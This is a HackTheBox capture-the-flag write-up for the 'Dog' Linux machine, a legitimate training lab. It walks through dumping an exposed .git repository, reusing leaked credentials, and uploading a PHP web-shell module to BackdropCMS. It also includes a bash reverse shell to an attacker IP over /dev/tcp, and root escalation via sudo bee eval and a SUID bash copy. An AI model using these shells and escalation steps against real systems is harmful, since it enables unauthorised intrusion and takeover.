Dog - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐☆☆☆
• Real-world: ⭐⭐⭐⭐☆
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Dog is an easy-rated Linux machine centered around sensitive information disclosure through an exposed Git repository and web application exploitation. The attack chain begins by extracting credentials from the Git repository, which are reused across multiple services including BackdropCMS and system user accounts. With administrative access to the CMS, an authenticated Remote Code Execution vulnerability allows uploading a malicious module to gain initial foothold as www-data. Lateral movement occurs through password reuse to the johncusack user account, and privilege escalation is achieved by abusing sudo privileges on the bee CLI utility, which allows arbitrary PHP code execution as root.

TL;DR: Git repository disclosure → MySQL credentials → BackdropCMS admin access → RCE via malicious module upload → SSH as johncusack → sudo bee command injection → Root shell

Reconnaissance

Port Scanning

# Add hostname to /etc/hosts
echo "10.10.11.58 dog.htb" | sudo tee -a /etc/hosts

# Fast port scan
nmap -Pn -p- --min-rate=1000 -T4 10.10.11.58

# Detailed service enumeration
ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.10.11.58 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -Pn -p$ports -sC -sV 10.10.11.58

Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12
80/tcp   open  http    Apache httpd 2.4.41 (Ubuntu)

Service Enumeration

HTTP (Port 80):

• Running Apache 2.4.41 on Ubuntu
• Generator: Backdrop CMS 1 (identified via HTTP header)
• robots.txt: 22 disallowed entries revealing admin paths
• Critical Discovery: .git/ repository exposed and accessible

SSH (Port 22):

• OpenSSH 8.2p1 (standard Ubuntu 20.04 service)
• SSH key fingerprints available

Vulnerability Assessment

1. Exposed Git Repository - .git/ directory publicly accessible
2. Hardcoded Database Credentials - Stored in version control (settings.php)
3. Credential Reuse - MySQL password reused across multiple user accounts
4. Authenticated RCE - BackdropCMS 1.27.1 module upload vulnerability
5. Privilege Escalation - Sudo misconfiguration on bee utility allowing arbitrary PHP code execution

Reconnaissance Deep Dive

Git Repository Extraction

# Install git-dumper
pip3 install git-dumper

# Dump the entire git repository
git-dumper http://dog.htb/ dump

# Restore all files from git index
cd dump
git restore .

Credential Discovery

# Extract database credentials from settings.php
cat settings.php

Output:

$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';

Username Enumeration

Research into Backdrop CMS revealed that user accounts can be enumerated through the URL-alias endpoint /?q=accounts/USERNAME. Using ffuf:

# Fuzz for valid usernames
ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
  -u "http://dog.htb/?q=accounts/FUZZ" \
  -c -v -mc 403

Discovered Usernames:

• john (403 response indicates valid account)
• tiffany (403 response indicates valid account)

CMS Version Confirmation

# Retrieve version information
curl http://dog.htb/core/profiles/testing/testing.info

# Output reveals: version = 1.27.1

Initial Foothold

Exploitation Path

The discovered credentials BackDropJ2024DS2024 work for the tiffany user account with administrative privileges in BackdropCMS. With admin access, we can exploit the authenticated RCE vulnerability in BackdropCMS 1.27.1 through module upload.

Creating Malicious Module

# Create the module directory structure
mkdir -p shell

# Create shell.info metadata file
cat > shell/shell.info << 'EOF'
name = Shell
description = Evil shell
type = module
version = 1.0
EOF

# Create shell.php with PHP reverse shell
cat > shell/shell.php << 'EOF'
<?php
if(isset($_REQUEST['cmd'])){
    echo "<pre>";
    $cmd = ($_REQUEST['cmd']);
    system($cmd);
    echo "</pre>";
    die;
}
?>
EOF

# Package as tar.gz archive
tar -czvf shell.tar.gz shell/

Module Upload and Execution

# The module upload endpoint is accessed via URL-alias pattern
# Upload shell.tar.gz to: http://dog.htb/?q=admin/modules/install

# After successful upload, verify shell is accessible
curl http://dog.htb/modules/shell/shell.php?cmd=id

# Output should show www-data execution

Reverse Shell

# On attacker machine - start netcat listener
nc -lnvp 1337

# In web shell, execute reverse shell command
# URL: http://dog.htb/modules/shell/shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/10.10.14.8/1337%200%3E%261%22

Shell Stabilization

# Once reverse shell connects
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Set terminal settings
export TERM=xterm

# Suspend and configure shell
^Z
stty raw -echo
fg

# Verify execution context
id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Lateral Movement

User Discovery

# Check /etc/passwd for available users
cat /etc/passwd | grep -E "home|bash"

# Output reveals johncusack user
# johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash

Password Reuse Exploitation

The MySQL password BackDropJ2024DS2024 is reused across multiple services. Test it against the johncusack SSH account:

# Attempt SSH with discovered credentials
sshpass -p 'BackDropJ2024DS2024' ssh johncusack@dog.htb

# Or manually
ssh johncusack@dog.htb
# Password: BackDropJ2024DS2024

# Verify successful login
whoami && id
# Output: johncusack, uid=1001(johncusack)

User Flag

# Locate and read user flag
cat /home/johncusack/user.txt

Privilege Escalation

Sudo Privileges Enumeration

# Check sudo capabilities for johncusack
sudo -l

# Output:
# User johncusack may run the following commands on dog:
#     (ALL : ALL) /usr/local/bin/bee

Bee CLI Utility Analysis

The bee utility is Backdrop CMS’s command-line management tool. It supports an eval function that accepts PHP code execution:

# Test arbitrary command execution as root
sudo /usr/local/bin/bee --root=/var/www/html eval "echo shell_exec('whoami && id');"

# Output: root, uid=0(root) gid=0(root) groups=0(root)

Root Access via SUID Bash

# Create SUID copy of bash in /tmp
sudo /usr/local/bin/bee --root=/var/www/html eval \
  "echo shell_exec('cp /bin/bash /tmp/bash && chmod u+s /tmp/bash');"

# Verify SUID bit
ls -la /tmp/bash
# Output: -rwsr-xr-x 1 root root 1183448

# Execute privileged bash shell
/tmp/bash -p

# Verify root access
whoami && id
# Output: root, uid=1001(johncusack) gid=1001(johncusack) euid=0(root)

Root Flag

# Locate and read root flag
cat /root/root.txt

Attack Chain Summary

Exposed .git Repository
    ↓
Extract settings.php with MySQL credentials (BackDropJ2024DS2024)
    ↓
Fuzz usernames via /?q=accounts/ endpoint (discover: john, tiffany)
    ↓
Login to BackdropCMS as tiffany with discovered password
    ↓
Create malicious module with PHP shell
    ↓
Upload via /?q=admin/modules/install endpoint
    ↓
Access shell at /modules/shell/shell.php for RCE
    ↓
Gain reverse shell as www-data
    ↓
Reuse password on johncusack SSH account
    ↓
Discover sudo -l allows /usr/local/bin/bee with PHP eval
    ↓
Execute arbitrary commands as root via bee eval
    ↓
Create SUID bash and escalate to root
    ↓
Root Access Achieved

Tools Used

Key Learnings

Techniques Practiced

• Git Repository Exploitation - Accessing and extracting sensitive data from exposed .git directories
• Credential Reuse Detection - Identifying patterns where passwords are reused across multiple services
• Web Application RCE - Exploiting authenticated file upload vulnerabilities in CMS platforms
• Reverse Shell Creation - Stabilizing bash shells and establishing stable remote access
• Sudo Misconfiguration Abuse - Leveraging overpermissive sudo rules for privilege escalation
• PHP Code Injection - Executing arbitrary commands through eval-like CLI functions

Lessons Learned

1. Version Control Security - Never commit credentials or sensitive configuration files to Git repositories; use .gitignore effectively
2. Password Reuse Risk - A single compromised credential can cascade across multiple systems and accounts
3. Admin Panel Exploitation - Administrative interfaces are high-value targets; prioritize compromising them
4. CLI Utility Dangers - Command-line tools with eval functionality present severe security risks when combined with sudo privileges
5. Defense in Depth - Each layer of the application stack (CMS, SSH, sudo) should have independent security controls
6. Privilege Escalation Vectors - Always check sudo -l as it often reveals direct paths to root access
7. Real-World Applicability - This machine demonstrates realistic attack chains found in actual penetration tests

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>